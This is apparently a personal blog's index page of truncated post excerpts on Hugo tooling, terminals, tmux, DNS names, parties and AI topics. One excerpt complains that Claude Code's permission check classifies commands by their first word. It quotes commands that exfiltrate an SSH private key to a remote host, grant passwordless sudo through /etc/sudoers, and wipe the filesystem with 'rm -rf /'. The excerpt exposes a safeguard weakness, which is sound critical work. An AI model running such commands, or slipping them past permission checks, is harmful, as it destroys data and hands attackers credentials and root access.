I figured out that I can file some inconveniences off the experience of writing Hugo sites in VS Code, and the result is a new VS Code extension called Hugo Habitat: mrled/vscode-extension-hugo-habitat . It can: Add a clickable glyph next to Hugo links to open that page in the editor Open the current page in a browser via a command Update frontmatter date to current time via a command Clickable…
I found some contagious metadata corruption in exiv2, such that reading a file with corrupt XML namespace values in XMP data poisons all subsequent metadata writes with the same corrupt namespace — even to other files. I don’t think it is very serious (at least, compared to other data corruption bugs). All software seems to read the files just fine before and after, and the corruption…
I realized you can use containers to run Claude Code in yolo mode with Internet access relatively safely, without needing to maintain a dedicated VM . This might sound obvious. The whole point of containers is to isolate the contained processes from the host. Run Claude in a container, mount your project inside the container, and call it a day. This works fine, and will certainly prevent Claude…
In Google Docs, Confluence, and other heavy document editors, you can just paste a URL and it’ll fetch the page title and make a nice link out of it, at the cost of some tick, tick, tick while it fetches the title from the other page. I realized some links actually contain enough information to implement an instant (though limited) version of this feature in a Hugo site. All I have to do is…
As of today, if I include links in unpublished drafts, I have linked to 2,256 unique offsite URLs in page content. 1 I know this because I made an automatic index of every URL on this site , instantly searchable by its anchor text, which page linked to them, and the URL itself. If you’ve got a site of your own, it’s pretty cool to be able to search back through all your outgoing links.…
I guess it’s time to update the Uses page. Ghostty’s support for OSC52 remote copy and OSC8 clickable linkes improves the experience of working on projects over ssh. I’ve been a longtime macOS Terminal holdout, but these features pushed me over the edge to switch. Remote copy and paste For example: 6:58:51 E0 Naragua ~ ssh micahrl@tagasaw Linux tagasaw.home.micahrl.com…
With Ghostty, all I need to do to get a realistic transcript of a shell session is select and copy, extract the HTML source with pbpaste-htmlsrc , and reference it on this site with a Hugo shortcode. As I learned previously , the macOS clipboard can hold more than one version of the same content. Examples Text copied from the built-in Terminal contains: > osascript -e 'Tell app 'Finder' to…
Two weeks ago, I threw my forty-first birthday party. Invitation by A and Rachel. Party cookies I really wanted to make fortune cookies from scratch, and the rest of the party kind of fell out from that. Over a decade ago on a now-defunct blog , I had seen someone do this for a New Year’s Eve party, and it has rolled around in my head ever since. Hannah and I used this recipe , which turned…
This week I was working on a Kubernetes cluster from my Mac. I discovered that while kubectl worked fine in a regular terminal, if I ran it inside tmux it would tell me there was no route to host . Here’s a screenshot with a tmux session in the top pane, and a bare shell in the bottom pane: This screenshot is of Ghostty, but the behavior was the same in Terminal.app. This appears to be an…
I have a demonstrated interest in symmetrical DNS names. “Symmetrical” could mean several things. Maybe a single name that is a palindrome, like if you owned elpmaxe.www.example . Maybe a pair of names that have reversed components, like if you owned example.institute and institute.example . Or maybe URLs that can be cut in half and flipped 180°, like https://zq.suns.bz//:sdʇʇɥ . With…
By default, using the same tmux session from multiple ssh sessions breaks agent forwarding. Here’s why: When tmux starts, it inherits the environment. By default, that environment is fixed. ssh sets some environment variables, like SSH_CONNECTION and, if you forwarded an agent, SSH_AUTH_SOCK , but those will only work properly on the ssh connection that started the tmux session . Connecting…
Superhuman, née Grammarly , is getting sued (paywall) for putting the names of living professionals on output from an AI system which they called “Expert Review”. I first saw this on Pixel Envy , which links to Platformer: On Friday I learned to my surprise that I had become an editor for Grammarly. The subscription-based writing assistant has introduced a feature named “ expert review…
I bring my own entertainment on airplanes: I download movies, copy them to my phone, and test that audio and subtitles work correctly the day before a flight. For a business trip on Wednesday, my movie was Johnny Mnemonic: In Black and White . It was great! Your browser does not support the video tag; download the video instead. I thought the B&W was a real upgrade over the original. It reinforces…
A lot of people are complaining about bot traffic. I was curious as to the impact on this site, but for the past six years it’s been deployed to Netlify, and I didn’t have a way to see raw request volume without paying for a limited Analytics feature, and I couldn’t see disaggregated referer and user-agent without paying a lot more money for enterprise log drains. AWS has…
Anthropic. Claude. Bro. This is not a hugo config command. Is echo 'cat /root/.ssh/id_ed25519' | ssh productionlol.example.com sh -c 'cat - >/tmp/runme.sh; sh /tmp/runme.sh' an “echo command”? Is grep '127.0.0.1' /etc/hosts | sed 's/127\.0\.0\.1.*localhost.*/myaccount ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers a “grep command”?? Is yes | sudo rm -rf / a “yes…
I was recently looking for some stories from the Arabian Nights, and found beautiful editions on the Internet Archive of The Book of the Thousand Nights and a Night translated by Richard Burton, which Wikipedia notes is the only complete English translation. The vocabulary is a lot of fun. Wikipedia quotes historian Robert Irwin, Burton shared [John] Payne’s enthusiasm for archaic and…
I keep hearing about the privacy concerns for AI training on personal data, and I think this concern is unfounded and basically nonsense. What is the threat model exactly? Let’s say your trove of personal data is used by Google for training the next iteration of Gemini. Everything you have: all medical records, financial history, texts and emails, location data, every sin you have committed…
I’ve started a new Links section: just a link, with just enough description for you to decide if you want to click. It has a its own feed ; to read it, subscribe to that feed separately or to the newsletter, which will include occasional link posts. I’ve been thinking about this ever since I read Kellan Elliott-McCrea’s A Link Blog in the Year 2024 . Some of my favorite blogs are…
Notifications serve the interests of whoever controls them. That whoever can be us, if we change them from their defaults. These are steps I think everyone ought to take. Disable almost all smart watch notifications. I see people all the time with Slack or Gmail tapping their wrist — the signal/noise ratio is way too low to allow this level of interruption. Even texts are not worth it : if…
I’ve made a few changes to this site. Design updates Fewer roundrects, more sharp corners. Fewer random colors, more consistency. An ever-so-slightly more peaceful design. I softened what was formerly pure black and pure white, making both light and dark mode more pleasant. I also darkened the highlight color in dark mode, so that it stands out less against the background, matching light…
bibliographer has grown support for importing https://raindrop.io highlights. Raindrop is a nice bookmarking and archiving service, but I subscribed specifically for its support for annotating web pages, which works on both desktop and mobile browsers. (AFAIK, the only other web highlighting service is https://hypothes.is , which doesn’t support mobile very well.) Everything I highlight with…
What are your favorite redactions? These are mine. As the government explained From a redacted brief ( aclu.org , local mirror ) in an ACLU case, h/t Adam Klasfeld . FBI retirement party A photocopied cache of redacted photographs and documents related to the retirement party of someone who worked at the FBI, including a truly surreal PowerPoint presentation. Originally FOIA’d by Brad Heath…
One of my very favorite parts about Christmas is the wrapping . The first step is paper selection. Two specific recommendations: Paper Source which I tend to visit in person for very fine single sheets, and Society6 which has infinite variety but ships a little slow. I tend to keep brown paper on hand, especially for bulky items, and I also buy metalic/reflective paper from Walmart etc whenever is…
I’m not a professional web designer or frontend developer at all, but I really enjoy working with CSS. That wasn’t always the case; at first I found it very frustrating. But as I practiced working with it, and as it improved over time, I’ve come to really like using it. Similarly, spending time trying and tweaking fonts is a lot of fun. I’ve definitely spent hours on Google…